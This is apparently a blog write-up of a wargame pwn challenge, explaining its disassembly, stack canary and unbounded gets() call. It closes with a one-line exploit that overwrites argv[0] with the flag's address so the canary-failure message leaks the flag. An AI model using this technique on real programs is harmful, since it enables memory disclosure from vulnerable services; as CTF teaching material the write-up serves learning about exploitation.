[Wargame] Pwn001 writeup
This is my first writeup and also my first time dealing with
stack canary. I will go in as detail as I can to test my understanding. Cuz
this is my first time so correct me if I’m wrong.
Prerequisite:
_Understand buffer overflow vulnerability.
_Basic asm.
_Basic asm.
First load the binary
into IDA.
.text:000000000040089A push rbp
.text:000000000040089B mov rbp, rsp
.text:000000000040089E push rbx
These lines are just common function prolog. The next few
lines set up the stack canary.
.text:00000000004008A3 mov rax, fs:28h ;move stack canary into eax
.text:00000000004008AC mov [rbp+var_18], rax ;place it on the stack
var_18 is -18h so [rbp+var_18] is a local variable on the stack.
After that there are 3 function calls to setvbuf. I don’t
really know what they are for ( maybe to run the binary as a network service)
but we don’t need to care about them. Just let it out of our mind
The binary then call the readFlag function to load the Flag
into memory. To make our life easier we use IDA to disassemble the function
size_t readFlag()
{
FILE *stream; //
[sp+8h] [bp-8h]@1
stream =
fopen("./flag", "rb");
if ( !stream )
{
puts("Flag
not found");
exit(-1);
}
return fread(flag,
1uLL, 0x40uLL, stream);
}
Look further you can see that flag is global variable that
means its address is unchanged across different machine. This will be useful
later.
.bss:00000000006010C0 public flag
.bss:00000000006010C0 ; char flag[128]
.bss:00000000006010C0 flag db 80h dup(?) ; DATA XREF: readFlag+33o
genPass function just simply sets up a password and compares it
to our input. If they are equal the program prints out the flag which was read
from file before. gets function doesn't check for length of our input so we can
overwrite whatever at higher address than s1 (where our input is stored).
Just to remind you the stack canary is still there.
.text:0000000000400975 mov rbx, [rbp+var_18]
.text:0000000000400979 xor rbx, fs:28h
.text:0000000000400982 jz short loc_400989
.text:0000000000400984 call ___stack_chk_fail
These lines will check if the canary has been changed.
If so ___stack_chk_fail will be called the, a message appears on the screen and
the program is terminated. Here is the message
**stack mashing detected**: pwn001
That’s pretty much what this binary does. So how do we get
the flag ??.
- If we know the password =))
- If somehow we can point eip to the puts flag code
.text:000000000040095A mov edi, offset flag ; s
.text:000000000040095F call _puts
- Because the program reads the flag from file before the password checking so maybe we can leak the flag =))
The first case seems to be impossible so let skip it =)). The
second case, the return address is protected by the stack canary so if we can leak
the canary we will win. I had been doing some search but nothing seem to be useful. The
third case seems to be impossible too. The hell do we leak the flag ?? Push flag
address on the stack and get eip point to puts function ?? No we can’t. The
stack canary is still there and it will call ___stack_chk_fail to terminate the process.
After a while I took notice of something interesting
**stack mashing detected**: pwn001
What is “pwn001” ?? Yes, it’s the argv[0]. It turned out that
we can exploit the call to ___stack_chk_fail to leak the flag.
We don’t care if the stack canary will be changed =)) cuz we
need ___stack_chk_fail to be called. argv[0] is somewhere on the stack so we
can easily overwrite it with flag variable’s address as long as the stack is
8-byte aligned =)) cool ! Here is the final solution for the problem.
> python –c ‘print “\xc0\x10\x60\x00\x00\x00\x00\x00”*500
| nc server port
Sorry for my bad English hope you had some fun with the
challenge.
Comments
Post a Comment